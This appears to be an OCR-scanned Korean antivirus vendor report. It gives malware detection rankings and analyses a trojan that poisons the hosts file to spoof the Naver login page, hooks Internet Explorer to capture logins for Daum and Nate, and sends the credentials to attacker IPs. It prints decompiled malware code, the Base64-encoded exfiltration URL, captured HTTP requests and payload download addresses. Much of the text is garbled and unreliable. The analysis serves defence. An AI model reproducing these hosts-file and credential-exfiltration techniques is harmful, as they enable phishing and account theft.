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29 tYIE HEH stz o
1 - Spyware.OnlineGames.wsxp Spyware 7,444
2 New  Trojan.Generic.7542889 Trojan 3,589
3 New  Trojan.Rootkit.LoaderA Trojan 3,337
4 New  Trojan.Generic.KD.620220 Trojan 2,353
5 New  Trojan.KillAV.AB Trojan 1,909
6 New  Trojan.Generic.KD.605546 Trojan 1,868
7 New  Adware.Addendum.A Adware 1,884
8 New  Gen:Trojan.Heur.GZ.BKX@bW8HpgdO Trojan 1,527
9 New  Trojan.Generic.7499414 Trojan 1,475
10 New  Trojan.Generic.7451935 Trojan 1,431
11 New  Worm.Conficker Worm 1,307
12 New  Spyware.OnlineGames.rem Spyware 1,261
13 New  Dropper.OnlineGames.ver Etc 1,226
14 New  Gen:Variant.Graftor.25636 Etc 1,209
15 New  Generic.ScriptWorm.63861471 Etc 1,196
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(2) 9l 24
® oY e
Program Files 3}Q| ZH0|A A=l AE{Z} OFL|™ Program Files ZC Of2f TickCount2
Toh A EHE ME WHSHY XS SAtet £ @)

C:WProgram Files#[Random Number]#system.exe

@ HXIAEZ HHE

ZaH RYA HdES Rt otef HX|AEe[0f SFEICH
HKEY_CURRENT_USERWSOFTWAREWMicrosoftWWindows NT#CurrentVersion#Windows
"run" = "C:WPROGRA~1#5528129%system.exe"

® Hlo|H AHH S U

27 DNSE AI8E|= YESR hosts IHUO| CHZo| ZAHEE F7t5H HolH o2l 2
EA| 219 Lo|X|E LA TIC} "static.nid.naver.com” T2 H|O|HOAM 2210 At
St= L0 2l0|Ct. "173.236.58.78 static.nid.naver.com"”

Hol oelE F&EAl ofelel H2lE Sote HzxE 20 A3 EES o 2Lt

GET ~login.nhn?svuc=mefurl=http«3A:2F<2Fuwm_naver.comét=201204A5 HTTP-1.1
Accept: image~gif.,. imagesx—xhitmap, image~jpeg. image-spJjpeg. applicationsx—s
Referer: http:- s uww._naver.coms
Accept-Language: ko

UA-CPU:= xB6

Accept—Encoding: g=ip, deflate
User—Agent: Mozilla~4.8 <compatihle; MSIE 7.8: Windows NT 5.1:; .NET CLR 2Z2.8.
Hozt: static.nid.naver.com
Connection: Keep—-Alive
Cookie: DH_HC=L21165851B,Lh
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TRCToWTTE TquEY FpT
<title>U|Q|H] =: P22 3%1¢/title>
<t--[if IE 6]><link type="text/fcss™ rel="stylesheet” href="loginwww._css™ /><t[endif]-->
<link rel="stylesheet” type="text/fcss” href="/loginu2/css/loginu2?_2 _css?208898113" />
</head>
<body onClick="setUserStroke();" onHouseOut="checkRelease();">
<div id="login_wrap" class="step1">
{Form id="frmNIDLogin" name="frmHIDLogin" target="_top" |action="http://173.236.58.77/count. asp?action=naver"
<input type="hidden” name="enctp” id=""enctp™ value="">
<input type=""hidden” name="encpw” id="encpw” value=""">

<input type=""hidden” name="encnm” id="encnm” value=""">

<input type="hidden" name="suctype" id="suctype" value="8">

<{input type="hidden" name="url" id="url" value="http://www.naver.com">
<input type=""hidden" name="postDataley" id="postDataley" wvalue=""3
<input type="hidden" name="sawelID" id="savelID" wvalue='"'3>

<div id="1login_header™>
<> 0| r 2 E T%<sn1>
<n2y4d Hsnzs

[O83 - BMZE 2O001F AN

- 0|z AREARZE HlOlH 2O01E Al=5tEH ofef MHZ AZYZLE H&ottt
EUST scount .asp?action=naver HTTP/1.1

Accept: imagergif, image/x—xhitmap. image~jpeg. image/pjpeg. application/x—shockwave—flash,. application/vnd.ns—exc
Referer: http://static.nid.naver.com/login.nhn?svc=medurl=httpx3A*2F22Fuwu.naver.conkt=20120405

fAccept—Language: ko

Content-Type: applicationsx—wwu—form—urlencoded

UA-CPU:= x86

ficcept—Encoding: gzip. deflate

User—Agent: Mozillar4.8 {(compatible; MSIE 7.8; Windows NI 5.1; .NET CLR 2.8.58727; _NET CLR 3.8.4586.2152; .NET CL
Content—-Length: 112

Connection: Keep—Alive

Cache—Control: no—cache

bnctp=&encpu=&encnm=&suctyne=B&ur1=httpz3ﬂzZFzZFwww.nauer.com&postDataRey=&saue1D=&id=fakeID&pu=fakePH&x=37&y=1ﬂ

(184 - M H& HOIH]

, HIOIE AE 3 EH

2SS IE(HTMLDocument Object) M| E F5t0f 20 ZHOHOM AHZEZLE ==

#{_ DWORD =3)(al - 4) = -1;
JUMPOUT{s_copyExec{), 8, &loc_ 48281E);
JUMPODUT{s_CreateMutex{"1569dxpf*'), 8, &loc_u4B8201E);
5 writehostfile(};
dvord_%1C958 = {int)LoadLibraryn{"OLEACC.DLL"});
dword 41C95C = {int ( stdcall =){ DWORD, DWORD, DWORD, DWIRD})
GetProchAddress(
(HMODULE ydword_41C958,
"ObjectFromLresult™);

Msgq = RegisterWindowHessageA{"'WHM HTHL GETOBJECT");

=(_ DUWORD =)(al1 - 28) = B;

u1 = CreateThread{d, B, t down execute, 8, 8, (LPDWORD){a1 - 28});
CloseHandle(uv1};

Colnitialize{n);

while ( 1 )

{

< _nate_daum_hack(};
Sleep{8=3E8u);
b

[8l5 - IE(HTMLDocument Object)& F5l7| |3t AFM AH]
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Strl = 8;
menset(&us, @, Bx3Cu);
uy = 8;
vl = A;
result = FindWindowExA{hYndParent, B8, B, 8);
for { i = result; result; 1 = result )
{
memset(&Stri1, @, Bx4Bu};
GetClassHameA{i, &Str1, 64);
if { * mbscmp{&Str1, "Internet Explorer Seruver™) )
{
ThreadId = 8;
v3 = CreateThread{®, B8, (LPTHREAD START_ROUTIHME)t_internatexp, i, B, &Threadld);
CloseHandle{v3};
Sleep{Bx18u);
¥
s_IFinternatExp(i);
result = FindWindowExA(hWndParent, i, @, 8);
¥

return result;

[1216 — IE0 A HTML ViewerZ %t= ZHed]

= — ¥

vg = _memicmp(u7, daum_net, @x14u);
u? = memicmp(v7, nate_com, Bx1%4u); URL Hl @
if { vl )}

ifF ( v9 )
break;
H
#{_ DWORD =)}&u23 = 2 - {(ui 1= B);
ifF { v22 )
qoto LABEL 25:

s_getvariant(vi5, (int)&w22); | Cl0IE ==
STEep(THOUT;

u2h = -1;
if ( 5 )
{

if { *InterlockedDecrement{{volatile LOHMG =)(uS + 8)) )
{
sub_4B25FB({(BSTR =)u5});
sub_L4BELDL4{u10, (void =)uS);
H
H
if { v22 )
goto LABEL_32;
H
urd = 1;
s_senddata{{int)&u22); | FITEES
TZ0 = -1,
if ( *us )
ontn | ARFI 39 -

(186 - CfS, HIOIE AZEF Z2M2]

ES I'sofl copyright © by ESTsoft Corp. All rights resernved
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AlYac U} 87

HEME S| URL2 Base64 2 €13 F &[0 O LAY IES AHKXH Of2fet &L
"http://173.236.58.77/count.asp?action=other&user=%s&pwd =%s&8hz=%s"

szlirl = @3

nenset(&kut, B, BLFCu);
vl = B;

vE = 0;

Fesult s ﬂ;

4
w{ DWORD =Ya1 = 13
U2 = al + Kl

if ( strlen{(const char =)(al + H@)) <= 3 )
w2 = {int)"HULL";
u3d = w2}

TudGhlciZ1c2UyPSUzInB3ZD0lcyZoe j Blcw=="") ;

wsprintFAf&szUrl, wh, a1 + &, a1 + 24, vi);
result = 5 InternetOpenlrl{&s=Url});

¥

return result;

if ( strlen{{const char =)(al + 8)) »= 3@ && strlen{(const char =){al = 24)) »= 3 )

uly = {const CHAR #=)s_decodebasedd("aHRBcDoul zE3HyhyHzYulTquzeuY 29 1bnQui A HuP2F jdG1vb j

(187 - eIHA HZE Set HolH &

Uzer—-Agent: Mozilla~-4.8 (compatiblel
Host: 173.236.58.77
Cache-Control: no-cache

GET Acount.asp?action=otheruser=fgkfkdf jd213&pwd=df jdjfe222Bhz=nate.com HITP-1.1

(188 - HOolE 2102 FE HE 2]

® Ct2 %y3C e2C

ofzfel URLE St CHE YgIZEE LIREE 8 F¥S #4BCh
A

http://174.128.255.94:808/ip.ntm| > C}2 otA m
http://174.128.255.94:808/do.asp > HE #=AB802 XX E

0

(3) ZE
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=g Hgsts 20| HE AN CIHUTISH S0 sty sig IPE XEHoIEE =
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1 W32/Mytob-C 4,875 25.54%
2 W32/MyDoom-H 2,853 14.95%
3 Mal/ZipMal-B 1,720 11.89%
4 W32/Bagz-D 1,174 6.15%
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6 Mal/BredoZp-B 1,084 5.68%
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